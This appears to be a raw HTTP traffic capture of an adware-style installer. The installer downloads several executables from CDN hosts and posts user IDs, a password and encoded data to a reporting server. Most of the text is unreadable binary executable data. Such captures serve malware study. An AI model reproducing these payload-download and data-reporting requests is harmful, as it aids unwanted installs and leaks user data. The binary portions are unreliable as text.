........;.....9x.....f.t.Ln].NMM..A..K......2n~...wbI........U"..../~.
3.gG.....{....u...I q...P.V[>.....*...}[email protected]*G.7.
.:..(....Z0._P..r........}...E.M..M.la...$T...a....0.&b...~h......=dLN
.e9A....-....9j ..2R.........Fg...PH...H....../#4w.Z7..].%/...gR.?....
..R.w.......>6....T.....N(Pi8.."...H).W.L..l}....5.x..)X..oIO".M.*.
.j.'....E.<..X....:].ICrV.....N~........jM=...|,.z...mx.7.}...GT..`
[S<.c.2......cn..I{>.@D^.....6.&.`.....P.1...[.B..v.p.G..y.../..
.'>.2.i.C...W......].......#.........W...od.\U....Uv..XQ.x8........
..tK!...`q../..].0....5......u...&..p88U^.._..\Y.z..........t.t3....r.
.z..l5.....}.......K.8....J.w.#....d.M.|q...h.d.LT...F....Fj.p8m.<.
..cv.2...H._o.O.......h.7.....V.B.p.C........Z,~.|Yhb2..='..$...Lek...
.D.l..{s.M.:Dk....i...v.b.. ...k...~.6.&.Fdj......F.=..Vx~.c)..P{Y.#].
H8..05...Y..j<e....0.F.x.3.....[O&j.@......]....^.S..O(!~.?$.h...9k
. !..S..}>b.N..t4....e..j...0I......Y...'[email protected]....$x...<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4500000-4681921

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



3qA.E17.....XL...K...!..v..N..,.T.!........x...p....-......X.}..H.....
z......}.[DS....^.}.%..C.1..?... ...,......./.N3..........w.....0r....
d%m.../.D..x..Ksk.q....|..zuh........\6W.B...`1.S......&.A..s$L..G.rN.
..x......f.z)./...h.I..X.......F....YN................z..!....j..6..Lg
..I...s.}.p...&........F.2.S>....~....}............[e8ly..d..D....[
:-y.1..l.%.)..t........v.... ..L.\W.F.......X.^y.c....5..2f...........
45...-.v&...Jvx[.X7|........._..%..*..........m..q.g. .....o...N.b...~
4..lT....].0i..s..../.S..o..4..x}...y.. ..[.j.--.qW.....3.yP..m&..$...
e.....]q..J..wb.Q.#?c....SG ..........C..i.y...H....4.~.{:$z../q... ..
.J\1.....&...*...4 .fa....e......U.a.~M.j...ho.D..&#.UR......P.^......
...8..x.v@]...{ .@?,...dv..o.....Oo..T.}{..z.'1...1@.)...)]H.-.,..AB..
....4.]Y..-...Y.}t....f...W.h('.*D.cC4.&..r.....R..?..X.>..?...g...
#.....g{..cc...m.<i......A...&...K.9]. w1.v}'L.yE.`.x>.....uy...
W..Y...F..tF7].r.@Z..<.2...]^wT..y,y.-5...t.od.'I..2...5.5......RYL
.*.....c.h.SL... \...D..d..m..s....#!M.á..9...b.._..,%..6..^.'l=.]..
.2......U..;..&.#...F>.G.w....o....|..t).%C...^@.D..;.....R....-.v.
.....G..K..yK.1G..f&n>...ka.T.....$Xi.)d.W..y!..~...e....5!....-...
:.x.3..W.-..jL..R..t.n.e.n{_...W.m..5...j.,.U8$.S.9..'a..Ei....ay,0.p*
l.;K/....Y<Z..I..^2N.,P.x.....K.......U.pF[.T*.{...Pu..(.m.6.B .^].
Ns..............9.....6..;.....N.G............3.../Hin%^lH.D....1)....
......"_.m..=..;.6....5y.....K....N.#1.m.<....a...p3h..tUhZa?....Y.
[email protected] ..'.3...|....#...Kf..5:xr.v.Req...\.w....<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:04:27 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /t.ashx?e=uWabAt9SLczfh1h59JTgdIduf7GeaOfNAZx7JfD/ZiMDt2EUeZbtRVHmS0ZrngqaehpOqw6bJSLjAzOm8FoQAAyDAGrrM4opYCpHZc9ZUaGLbhvor/ikhRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:01:59 GMT

X-Cache: Miss from cloudfront

Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: X2VI0ALLqkWrEaGZMsdPpCwhyajJvgRIEluy42-rrrHj_LCgn3m83Q==

abfgshdgfjhsk....

GET /t.ashx?e=uWabAt9SLczfh1h59JTgdIduf7GeaOfNAZx7JfD/ZiMDt2EUeZbtRVHmS0ZrngqaehpOqw6bJSLjAzOm8FoQAAyDAGrrM4opYCpHZc9ZUaGLbhvor/ikhRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:01:59 GMT

X-Cache: Miss from cloudfront

Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 18PxBHNRqgapLk93SGpVxxhVqkBacP7Vz1-W03FNyRXE3m7EQexvZw==

abfgshdgfjhsk....

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:00 GMT

X-Cache: Miss from cloudfront

Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GZJ2Zs1NWPU-9EWkaFDtyuLy_-tJiF8FF-tNfzeZZLHD-bykbCz78g==

abfgshdgfjhskHTTP/1.1 200 OK..Content-Type: text/html; charset=utf-8..
Content-Length: 13..Connection: keep-alive..Cache-Control: private,no-
cache, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.5072
7..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 00:02:00 GMT..X-Cache
: Miss from cloudfront..Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: GZJ2Zs1NWPU-9EWkaFDtyuLy_-tJiF8F
F-tNfzeZZLHD-bykbCz78g==..abfgshdgfjhsk..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:04:28 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1287434

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Feb 2015 16:00:40 GMT

Accept-Ranges: bytes

ETag: "a07318df814fd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:00:59 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8cd0e1b054d4e5083057646da4909e74.cloudfront.net (CloudFront)

X-Amz-Cf-Id: DBYg1-dc_8nedH7uDdTVbEvaXseLhFa3ulBuztPLra78bDp2DSMYjw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

POST /online/Report.aspx HTTP/1.1

Content-Type: multipart/form-data;boundary=---------------------------608A5846287B

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Content-Length: 852

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=stwasxzel0a5ovn3t1puwm55

-----------------------------608A5846287B

Content-Disposition: form-data; name="ProductID"

-----------------------------608A5846287B

Content-Disposition: form-data; name="Version"

3.3.9.4

-----------------------------608A5846287B

Content-Disposition: form-data; name="UserID"

8bbf5d60-0613-4bcc-93c8-28817ab1fcc2

-----------------------------608A5846287B

Content-Disposition: form-data; name="Password"

bbRSxORx

-----------------------------608A5846287B

Content-Disposition: form-data; name="XmlData"

<xml><VERSION>3.3.9.4</VERSION><ACCFAILUREINFO>kJ79Iwl e1s2/G8nRzh5ELBkVPoUjhogZ7pxoWdsrUU0WQQicfmo07WDE3STM32CP0gISt2/sLfwO4RkVciWc/kiuWQtfNTYfCc56FjccT1XXcVBUJlIVi2n2PaSTXVTobfpyd uyKERKswPDh1GAkRy6DZO1LiivytcG5MEgIAbtdK8bYfXZ1SeqXDIGTM3qRRGU6wa1Qw=</ACCFAILUREINFO></xml>

-----------------------------608A5846287B--


HTTP/1.1 200 OK

Connection: close

Date: Tue, 24 Feb 2015 00:04:08 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 486
..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "h
ttp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html 
xmlns="hXXp://VVV.w3.org/1999/xhtml" >..<head><title>..
.Untitled Page..</title></head>..<body>..    <for
m name="form1" method="post" action="Report.aspx" id="form1">..<
input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwU
JNzgzNDMwNTMzZGS5uR/A3ROIkR45UlMsd92KJ/ALeg==" />..    <div>.
.    ..    </div>..    </form>..</body>..</html&g
t;....

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=80408-160816

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 80409

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 80408-160816/321632

Age: 941

X-Cache: Hit from cloudfront

Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: hITgg286NWybrHmbNhDs7qozLwHCU7r4M3kvXhTFRZl9O9DWpB6-rQ==
|C...t.....G..v.P..B..W.2C.......u..K.Q."C...s......t..V.R..B..V..C...
...s ..t..F.P..B..V..B......s(..t....O..v.Q..B..W..B.......u._...{C.^.
............U..S...U....E..t.S..B.......[]..................U..j.hx.C.
d.....P...VW.t.C.3.P.E.d......;.ua.}...........E......|....E......}...
..t;j..M..O4...G...t....s.H.G..w......M....V4..#.t.....j........M.d...
...Y_^..].U..j.hx.C.d.....P...VW.t.C.3.P.E.d......{..ub.}....Y......E.
.....K....E......}..C...t<j..M...3...G...t....s.H.G..w......M.....3
..#.t.....j......C..M.d......Y_^..][email protected]....
.......]...U...E..U....Q.M.P.E.QRP.T8.....]................U..j.h9.C.d
.....P...SVW.t.C.3.P.E.d......M..E......u..F......F.........E. E..E...
...E............N.;.wf...;......... ....s.....tW.V....r..>.......r.
...... . .Q......WR..<...F. .....~...F.r...................j. ..(..
..F....r........N....r........}....W.}.W.}.W..RP..7.....;F.v.....D....
N.;.w.j.P.........h.UC...1....j. .........M.d......Y_^[..].........U..
.M..U.3.;.t.V..1...A..;.u.^].................U..QV.p.j..M..7.i1...F...
[email protected]..}1....^..]..U..Q.E.SVW..tL...H.3..M...~4.8...u.3...t..H....
...F:.u.BA;.r..E..M..U.;.t...;.|[email protected]._^[..]._^..[..]....U..j.
h..C.d.....P..h.t.C.3..E.SVWP.E.d......E........3..]..M..U..u..E...u..
U..E..E......E...E.P.U.R.E.P.E..........u..E.............E..9}.r..M.Q.
!>..............{...E............C....E.RP.M.......E..U...;.s..M..M
.;...s..E.Q.M.P.U.R........E.;.tg9}.r..M.Q..=...........}..E......E...
~...S._4...R.H.QP........f..u.2.[..]....}..Vt..w.......G..w(SP....<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 250000-499999/7697808

Age: 36339

X-Cache: Hit from cloudfront

Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mY5UMv7feP-quBp32-IG0WrPX3_nLOMJN8o8Py4WLVBhf0kXJoIhFA==
.>......A.^......i.|@....M|.4y..F.S.}..&a.D8...."R.R.C..9....S.0u.R
.&...T$9R;.%...o....vUm....NE.d. .5%.... .......T..sM..Qx ...[|Cf...ne
.$..|Zv'.k.M.\d.&....*\H..`i.{?...9u'.....q........YK.T.Csj1......2.YH
sL......l..f........f@[email protected]..\.l....sL..).^..cJ.G../. ....%O..
.-.^.S..TFM...{1.X.....X..WT./...x..$..6.%0`...U.2..w5.B...o.#...0...-
WXTl......H.dEcP4...S-qn}Z..n...>".p..@....~cE.0.b... R.5.&........
.eD.ig.PV..wo..T.~.....R9.....zR^v...W..t.H.%}.U.~...Y.|(g..&.(xj.....
<. I!........Y....u[@.`............u......C8.6...`..0.......[......
..0...^............y......j.!.H.....L.z^o.....4.;.5:RLz.l.p...s...*f.e
<.#......#...~....U).1G"`...n.........<...0;..h...#....h.....".o
.NW".(.,.N..t.......^Z..%.I.&.VW..O....<..i..C.av.\*.v..d..5...#.=0
>x..n...#pYH.)8d...B..m.R'p. .......]...3.j....c.....[.S......J...G
.!.[...hh....D..Q.....f:=C....f.R.o.....j..|..T>.5?;.1.......@H.[.h
.eS.0.... .(y.....7...h|.$..4...1.....K..;G.{.'..:..t.[ld..C..n;>.(
V...P..........C.........7H. .W..ckrZ...w...=....S....!E.8....^.....k.
X...$...9..}... ..{.....]. n.....6..i....o.{.e.zDU....e..0.dS.......@.
f..5.$...H}...^).v....'.....H.....x.yH...E9.V.Q).N.$X...\......GG.|sJ.
.R.....7.._.b......x$......?.U.g.g$....)..E..[)..h..k .L ..a.\[email protected]...
..O.:...B...... .a.b. .. '.....~e..f..c..3......6.6.?xK.(t..p..@?.Rs".
.n.../....7....IO..7b{.t.....$ ...*..R.i....6Vt.....x.v"..._g..[3.\OG/
.-...y...z....M......w.M#...*..r..W"t.eT%.@;.9b0p.-.$=n..H...i*T>..
xVL,vA.w].&5].?A6A......0..7g..^..yLt...Kp..O..q.7.0.tN...|.......<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 750000-999999/7697808

Age: 36340

X-Cache: Hit from cloudfront

Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FQ7fgGhsYXD7pV0moA6r_6N2EUQbwgB1aipM1tonhhPsiyLXrsTEJg==
2cx.&z.y....|.v...~lRL.:....e.9{.................dW...a.[.5`.0....z.. 
n.....P..G...g7..$...'.q..%(.L...c4q..@J....`...........J.7-.in.p1.~.n
.."K.HJ......G`.\EL..(.....!..)....._x.#..0.R.<e.;.....v...|.b.hg..
.....y...8q7c\O...).........~..6..q&.q...S7[.<Dh$U=..SF8. ....I....
..u.5)[[email protected]...!Bw.q.7c..V..9..>.Q.....'.7.b...B...............m.
95J.r..!.TXC..q..D..}3.......TB.DF...Hd...>....I.2.*)dnd...M....\..
T..Q[E.......U/..R......c.Q....../..T.._u..n.....Q..m....x.gk..J.{.2..
.Y.W....t.t%....mh..=..T....d..-.w..C....-\.v...^.~....Mg.....(1...f..
.3.Q.'LVv{._P.t.......)........A.....p.B..(..5..2{....;S......:......x
G...~..b.....H....|..e.r.G.q>.....?...u..r.S..J...!....K.@Q[2.l.z..
...AA9x.....Cd.t..@.}.j.ss.Tzuz....t-...B......D.HG.X.p....:.%.o..... 
....._;,F^]$...."...@rJ. ....K...E.....Z....V...iZ._.........."..0H...
............n].o.7i>Z....<...<V.o`g..GrH.*.......@ I..".(5...
.8.^.Ly.......H?.....d....u.C....\7`..gD.d...r%...b.-.z...<......%.
.|.ZF.K..G .{i...._].n4..n.=.5m}......=.].O%.m/.."L6.aL$u.T.p....p..7D
..d.h.;.S.l..|.!......d..r..g....B......`p...E;K..R. ....?....w.H.D...
....=..n.~w.!..........t..B.l..H1...R;..9M4i......j.b^=A...A..mZ..._.5
.'........o.(..F{j68..$.O.8...Q.Y.8<X<..n....'8sA.X..6...w..sn&g
t;....D...2..aDk.....8\.d..{.f.a.27M...v..~D#K|'..u....(~...r..R.....#
.(........=AV~Tp........B..?....[C.$zC7.1gG....".TJP"C.....=kb.})S....
uB.T......4_.U...A...V....z..5...?5.-.P..w..aEm..'..M....N..e....|pH..
"$[..x.Ys...f5*...[5..b.@S..;...g4.....1*...)...ko..y.|........$.1<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 2000000-2249999/7697808

Age: 36340

X-Cache: Hit from cloudfront

Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: za7GxVq9J5x4Zv2NWUIpL4GWeWcaS5TiDQAVLQRaaOJ3u5VCW2u-jw==
[.*........v)e.zN.k....vEr.l...E*q..:[email protected] ..r.y&.OX.ZR...0JI....
IP$...6...y....-.e....(.G......$].{F..e.5......$.:V.?.>...nfH..t...
$D{t........k.?...PL..o......ow.-7.....|......y4@=........m$H\.c...9=.
R......y.....ZN..53.&.r..._P3..}.B..M.......q........i.....A.....h...#
.5o...`Q..b.-o|Avvk...0R........l.,...}"J....2.d.%q...aQ....N..]...k..
......uBB..B.t.. .:,/JF#u..:..fwQ...m....]..d.........6.<S..mq"..|.
.Fb..f...X...8.I.....]K...N .?..6..$j..(`......~.h15#Fz...-vy..rr...=.
....c........2.._...!k......$..@..<$..(..w.(....}..A".....3.]...[..
D....t.c.a1K.I..:..!.y..F.........9.....e..-.....?G..|."\..b... .G...Q
.....vNe....%.i....=......z......^w...7]9..b..g.g..*03....?C....%.....
R..a.....^..t....&.7..u=._CI.R. ..\y..h..oX.... .!.^....?J.z....&.k.J0
%.........)..|.y......}_..?mXso.._...O:.a..........L.V^.....U ..c.X|8W
.=....5.l.([email protected]..._...#8 .!...33X.B.q.xr.\$..*S..4u.-....Z.3YV
..5;.F...h.6(;D.8<p...#(WR..?a..>/]..k.....Lg..a.hq.Z.B-..w..h..
./'*......,tv..'9....;..Qu..I.p.......i8.h%q.TsF.....|,F........|.mF.^
ic......4... ...}.;W2...2l...t.e..er:L`.........i.D.dtuT..9[..........
E.S.z/..`.........x.m..".<.f.&W.-...#*.j...~.|..;.v.vO!............
..\........|...........-.Ij......h..Ej...\=[.......K.j.M....O.k.L.L...
.iB.d....8.e3....q....D..#..1z. ....jo.s.'....j<.^...|....j....ZU.k
V..7>7QC =."...........Wc..9H.C)\...~.PE.h8.^0r:.......G..)........
H.......pg.eF.x....8..G.-.MZ.;.8.n......z.D/.C..@......@=.....ZHO.....
.d.n...k...`."......G.r.w.......6..)....}[email protected]\}...F.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2250000-2499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 2250000-2499999/7697808

Age: 36340

X-Cache: Hit from cloudfront

Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: MspZI2PrSYzxLlVIj3dVN3M9hVibZPAQN0jN7RI2DBwDERYfAU_bzg==
i.........|...x...V.K5..{.C?u.d]D6.........E.0X.. ..d..A..nv.&..Yc..Mh
..............,............?H]...]...d.....G.| C.....6w.......v.=k..n5
u$.]W.....`.-......8..wqL<......gm.s....../...:J .......C.f.c......
./i.S..[.ss...a.r...S./.......?....... ........`.....? .Bz....x......"
..h..{.....e.Zc......a...u.6. .....s.../r.>....!t...2$..yC.._{...&.
_.WkwL"..'d..v....*...m....b.|.......k...o...D}.2........5......6.V...
..P.W.]...Au :[email protected]_.......T.wQd..ZH........FH.\C..C...^.h.....&
gt;.0....3......S....Z.....7.K.SC.W2..m..:.$Gsy........{[h.....s..v...
....Qs.5...a.G=.......g......Q...~.z...xm.{...d..OF.`.s..%..x...-qj.^X
6.U...a...?.....?)..H...F......~.\..g...R.{....!#]c`...K...z.q..^s3.z.
....Q.|...>.........!7....~...}H....^|sM.....&J;C.6K;...g7.!.......
...:..A.3.Z#.......)r".}...B.7.......@m...`....f.A.C:...........-..@..
.@/......`..k[.....7.........\P...h..mXs...`..YW........`..RM%.i.P.. .
}.I....K................0...=..."..H. .A...`[email protected]...!..]Z..
...B.=.z ..v.#ch.ig.........O.`..{..o.f.b..........,./i7|. .P........I
..*#.U..U.f.(A..gt....8N(..'...U....oFq.....{pT5..EF...u.W.h.i.I.dk...
..e..e......l#..1Zz...Z.|..I.zy..-....&.Y...H....Y...#|..G..|....nPpk.
...q....9..Z....Z..lT....LC.h..[[email protected]...
p....A..N.x...3........!.Zv..}.ELV.<..Y.F$..6.#..<....Z.%[email protected]..
..u...W.......c...."...m(........`..U2..v.....W...|.U9.Y.[..\9.O..-Drh
..V.r...C.]......%....c.......7..O....h...]...d.....(....BMEu.D.{.=..E
.PtC.!J./.`...^..VK.|.5.V^..?..G...V R...#.......2K...%.u?Q.lE....<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2750000-2999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 2750000-2999999/7697808

Age: 36340

X-Cache: Hit from cloudfront

Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: qZHFeHPfBposgEkrsL4Y-9eWD112UzaLb3yHDrYRMM63_bwg8p417g==
%...r......n.....)t..m....].Vi...{g.F....o...'.u.....I...t'U....| .iu.
...3..k.2d....>.w^....x..b.E.~........,[(.4;.s..v..a5v.,f.SS3.....|
 .7b...1,...i.=...5^..W...6...U..j.P.....e.y...%.N. ..;.....w$......py
...<..Q.&_.k....u?..y.G..F....!.j....s...s..0.g...t....$.>...gl.
.}.7TLrQ...T.)?......f;nd...te..!z.2..L.....;.d..iC.z..(..G\NK.<v.)
[email protected]#....X2...w.u.A*...fx........I.c.2....gM.KJ=..9D
.%...^~........|{...:.][email protected]....,..FQ.7..Yz...&g
t;.......l./.ii.....7..WZ...../~.Q..._U..=.}l...7W.D...4..%E...Q.j[...
..1.b.._1.1.S..E..av%....:.a<......?.e....~.j...-/..^Y._....P9.t..i
..|..._(.......y.u...>.....g.m=.Q.......d.s..l.o..2.....M.4..0hF!..
....;......1=..j...8..3..F..k...P`....(..bdK...*N....O#l}..90....f.%&g
t;....2C.y.."Y.]r|`.......DZk....#n.e...U.'$.....7.....N!5./IB..0..f..
.>....i_...Aa....&........c.i_..m.M.......(*_. .^B......'U..;O../B.
N.....7o.w.S..7dq.M../...#....Y....u.].^C.?..<.$T{w|O...z..Q-....&g
t;..%@......'...q.*...g.7..#....T...m......ZenO..mfz...-,.N:..........
......A|..W..Gy>....a...#PK9M...X.z.L.p-Z./............d.y"F...5..5
.}X..... *G/R....F.....P.C...8.Ro..h..D9^0..b...60.;...MP.J5.gL1.9.!.{
t.s.5vH..pg..B).D..U......Rq...N.......5./.7.IDX)...f'.o..P.....}..(.V
[email protected].`W7..m..?<.W.=.9.............{.^..6._#%..z
[email protected] [email protected]..,.I..\b.....4...:ZaVM....6.
